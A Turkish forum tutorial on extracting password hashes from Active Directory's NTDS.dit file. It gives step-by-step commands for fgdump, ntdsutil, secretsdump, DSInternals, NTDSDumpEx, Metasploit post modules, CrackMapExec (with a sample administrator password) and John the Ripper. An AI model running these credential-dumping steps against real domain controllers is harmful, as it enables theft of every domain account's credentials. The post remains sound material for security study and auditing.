Hoşgeldin Misafir

NTDS.dit Dosyasından Şifre Karmalarının Çıkarılması ve İstismar Yöntemleri

xS0N3R

23 Ağu 2020
5,429 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Windows Server'daki NTDS.dit dosyasında şifrelerin nasıl depolandığını öğrenecek ve ardından NTDS.dit dosyasından bu kimlik bilgisi karmalarının nasıl dökülebileceğini inceleyeceğiz.


İçindekiler​

  • NTDS'e Giriş
  • NTDS Bölümleri
  • Veritabanı Depolama Tablosu
  • NTDS.dit'den Kimlik Bilgisi Çıkarma Yöntemleri
    • FGDump
    • NTDSUtil
    • DSInternals
    • NTDSDumpEx
    • Metasploit
    • NTDS_location
    • NTDS_grabber
    • secretsdump
    • CrackMapExec
    • Karma Şifrelerin Kırılması

NTDS'e Giriş​

NTDS, Yeni Teknolojiler Dizin Hizmetleri (New Technologies Directory Services) anlamına gelir ve DIT, Dizin Bilgi Ağacı (Directory Information Tree) anlamına gelir. NTDS dosyasını "C:\Windows\NTDS" yolunda bulabilirsiniz. Bu dosya, Active Directory için bir veritabanı görevi görür ve tüm verileri, kimlik bilgileri de dahil olmak üzere, burada depolar. NTDS.dit'in varsayılan boyutu 12 MB olup, 16 TB'a kadar genişletilebilir.

Active Directory veritabanı, mantıksal olarak aşağıdaki bölümlere ayrılan tek bir NTDS.dit dosyasında saklanır:


  • Şema Bölümü: Nesneler ve bunların öznitelikleri hakkındaki bilgileri içerir.
  • Yapılandırma Bölümü: Orman ve ağaçların tüm bilgilerini içerir ve bu bilgiler tüm etki alanı denetleyicilerine çoğaltılır.
  • Etki Alanı Bölümü: Etki alanı ile ilgili tüm bilgileri içerir.
  • Uygulama Bölümü: Herhangi bir uygulama ile ilgili tüm ayrıntıları içerir.
Veritabanının fiziksel yapısı ise aşağıdaki bileşenlere sahiptir:


Kimlik Bilgilerini Çıkarmak için NTDS.dit İstismar Yöntemleri​

1. FGDump

FGDump, Windows Sistemlerinin toplu şifre denetimi için oluşturulmuş bir araçtır. Bu araç, bir saldırganın hedef makineden şifreleri çıkarmasına olanak tanır. FGDump'ı indirdikten sonra, indirdiğimiz dizine giderek komut istemcisinden çalıştırıyoruz.

Kod:
fgdump.exe

FGDump, yerel bir döküm yapar ve şifreleri ve önbelleği başarıyla döker. Dökmüş olduğu verileri görmek için oluşturulan PWDump dosyasını okuyabiliriz.

Kod:
type <pwdump dosya adı>

2. NTDSUtil Kullanarak Güvenlik ve Sistem Hive Dosyalarını Çıkarma

PowerShell kullanarak NTDSUtil komutunu çalıştırabilir ve Active Directory veritabanından NTDS.dit, SYSTEM ve SECURITY hive dosyalarını çıkarabiliriz.

Kod:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

Daha sonra bu dosyaları Kali Linux makinemize transfer edip, Impacket toolkit'ten secretsdump.py aracını kullanarak şifreleri çıkarabiliriz.

Kod:
./secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL

3. DSInternals ile NTDS.dit Dosyasını Okuma

DSInternals, Michael Grafnetter tarafından AD güvenlik denetimleri için tasarlanmış bir framework'tür. Bu framework, PowerShell'den indirilebilir ve yüklenebilir. İlgili modülleri yükledikten sonra, Get-BootKey komutuyla SYSTEM hive dosyasından önyükleme anahtarını çıkartabiliriz ve bu anahtarı kullanarak NTDS.dit dosyasından kullanıcı verilerini çekebiliriz.

Kod:
Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules
Set-ExecutionPolicy Unrestricted
Import-Module DSInternals
Get-BootKey -SystemHivePath 'C:\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey <bootkey değeri>

4. NTDSDumpEx

Dış bir araç olarak NTDSDumpEx kullanabiliriz. NTDS.dit dosyasını ve Sistem Hive dosyasının yolunu belirterek hızlıca kullanıcı karmalarını elde edebiliriz.

Kod:
NTDSDumpEx.exe -d C:\ntds.dit -s C:\SYSTEM

5. Metasploit Kullanarak Uzaktan NTDS.dit Dosyasını Ele Geçirme

Metasploit'te, NTDS.dit dosyasını bulmak için NTDS_location ve NTDS_grabber exploitlerini kullanabiliriz. İlgili exploitleri kullanarak NTDS.dit dosyasının yerini belirleyip, gerekli dosyaları sıkıştırılmış bir formatta elde edebiliriz.

Kod:
use post/windows/gather/ntds_location
set session 1
exploit

use post/windows/gather/ntds_grabber
set session 1
exploit

6. CrackMapExec Kullanarak Karma Dökümü

CrackMapExec, Active Directory verilerini toplamak için kullanılan güçlü bir araçtır. Bu araçla NTDS.dit dosyasını manipüle ederek şifre karmalarını dökebiliriz.

Kod:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi

7. Karma Kırma

Elde ettiğimiz karmaları kırmak için John the Ripper gibi araçları kullanabiliriz. Örneğin:

Kod:
john --format=NT hash --show

Sonuç​

Bu makalede, NTDS.dit dosyasından şifre karmalarının nasıl çıkarılabileceğine dair birçok yöntemi ele aldık. Güvenlik sağlamak için, etki alanı denetleyicilerine erişebilecek kullanıcı sayısını minimumda tutmak ve etkinlikleri sürekli olarak kaydedip izlemek en iyi korunma yöntemidir.